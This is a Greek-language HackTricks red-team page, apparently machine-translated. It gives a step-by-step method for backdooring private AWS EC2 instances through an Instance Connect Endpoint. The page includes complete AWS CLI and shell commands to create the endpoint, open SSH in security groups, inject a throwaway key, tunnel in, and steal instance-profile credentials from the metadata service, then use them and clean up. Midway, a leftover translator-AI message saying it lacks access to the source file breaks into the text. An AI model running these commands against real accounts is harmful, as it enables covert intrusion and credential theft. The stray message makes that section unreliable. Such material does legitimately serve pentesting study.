AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Κατάχρηση του EC2 Instance Connect Endpoint (EIC Endpoint) για να αποκτήσετε εισερχόμενη SSH πρόσβαση σε ιδιωτικές EC2 instances (χωρίς δημόσια IP/μπάστιον) μέσω:

  • Δημιουργίας ενός EIC Endpoint μέσα στο υποδίκτυο-στόχο
  • Επιτρέποντας εισερχόμενο SSH στο SG-στόχο από το SG του EIC Endpoint
  • Έγχυσης ενός βραχύβιου δημόσιου SSH κλειδιού (ισχύει ~60 δευτερόλεπτα) με ec2-instance-connect:SendSSHPublicKey
  • Ανοίγματος ενός EIC tunnel και pivoting προς το instance για κλοπή των credentials του instance profile από το IMDS

Επίπτωση: διακριτική απομακρυσμένη οδός πρόσβασης σε ιδιωτικές EC2 instances που παρακάμπτει bastions και περιορισμούς δημόσιας IP. Ο επιτιθέμενος μπορεί να αναλάβει το instance profile και να δρα στον λογαριασμό.

Απαιτήσεις

  • Δικαιώματα για:
  • ec2:CreateInstanceConnectEndpoint, ec2:Describe*, ec2:AuthorizeSecurityGroupIngress
  • ec2-instance-connect:SendSSHPublicKey, ec2-instance-connect:OpenTunnel
  • Στοχευμένο Linux instance με SSH server και EC2 Instance Connect ενεργοποιημένο (Amazon Linux 2 ή Ubuntu 20.04+). Προεπιλεγμένοι χρήστες: ec2-user (AL2) ή ubuntu (Ubuntu).

Μεταβλητές

export REGION=us-east-1
export INSTANCE_ID=<i-xxxxxxxxxxxx>
export SUBNET_ID=<subnet-xxxxxxxx>
export VPC_ID=<vpc-xxxxxxxx>
export TARGET_SG_ID=<sg-of-target-instance>
export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
export OS_USER=ec2-user

Δημιουργία EIC Endpoint

aws ec2 create-instance-connect-endpoint \
--subnet-id "$SUBNET_ID" \
--security-group-ids "$ENDPOINT_SG_ID" \
--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \
--region "$REGION" \
--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID

# Wait until ready
while true; do
aws ec2 describe-instance-connect-endpoints \
--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \
--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE
grep -q 'create-complete' EIC_STATE && break
sleep 5
done

Να επιτραπεί η κυκλοφορία από το EIC Endpoint προς το target instance

aws ec2 authorize-security-group-ingress \
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true

Εισαγωγή εφήμερου SSH key και άνοιγμα tunnel

# Generate throwaway key
ssh-keygen -t ed25519 -f /tmp/eic -N ''

# Send short-lived SSH pubkey (valid ~60s)
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "$OS_USER" \
--ssh-public-key file:///tmp/eic.pub \
--region "$REGION"

# Open a local tunnel to instance:22 via the EIC Endpoint
aws ec2-instance-connect open-tunnel \
--instance-id "$INSTANCE_ID" \
--instance-connect-endpoint-id "$(cat EIC_ID)" \
--local-port 2222 --remote-port 22 --region "$REGION" &
TUN_PID=$!; sleep 2

# SSH via the tunnel (within the 60s window)
ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no

Απόδειξη Post-exploitation (steal instance profile credentials)

# From the shell inside the instance
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)

Δεν έχω πρόσβαση στο αρχείο src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md. Παρακαλώ επικολλήστε εδώ το αγγλικό περιεχόμενο που θέλετε να μεταφράσω. Θα το μεταφράσω στα ελληνικά κρατώντας αναλλοίωτα τα code snippets, τα ονόματα τεχνικών hacking, τα ονόματα cloud/SaaS (π.χ. Workspace, aws, gcp), τις λέξεις ‘leak’ και ‘pentesting’, τα links, τα paths και όλα τα markdown/HTML tags όπως ζητήσατε.

{
"Code": "Success",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "w0G...",
"Token": "IQoJ...",
"Expiration": "2025-10-08T04:09:52Z"
}

Χρησιμοποιήστε τα κλεμμένα creds τοπικά για να επαληθεύσετε την ταυτότητα:

export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
aws sts get-caller-identity --region "$REGION"
# => arn:aws:sts::<ACCOUNT_ID>:assumed-role/<InstanceRoleName>/<InstanceId>

Καθαρισμός

# Revoke SG ingress on the target
aws ec2 revoke-security-group-ingress \
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true

# Delete EIC Endpoint
aws ec2 delete-instance-connect-endpoint \
--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"

Σημειώσεις

Υποστηρίξτε το HackTricks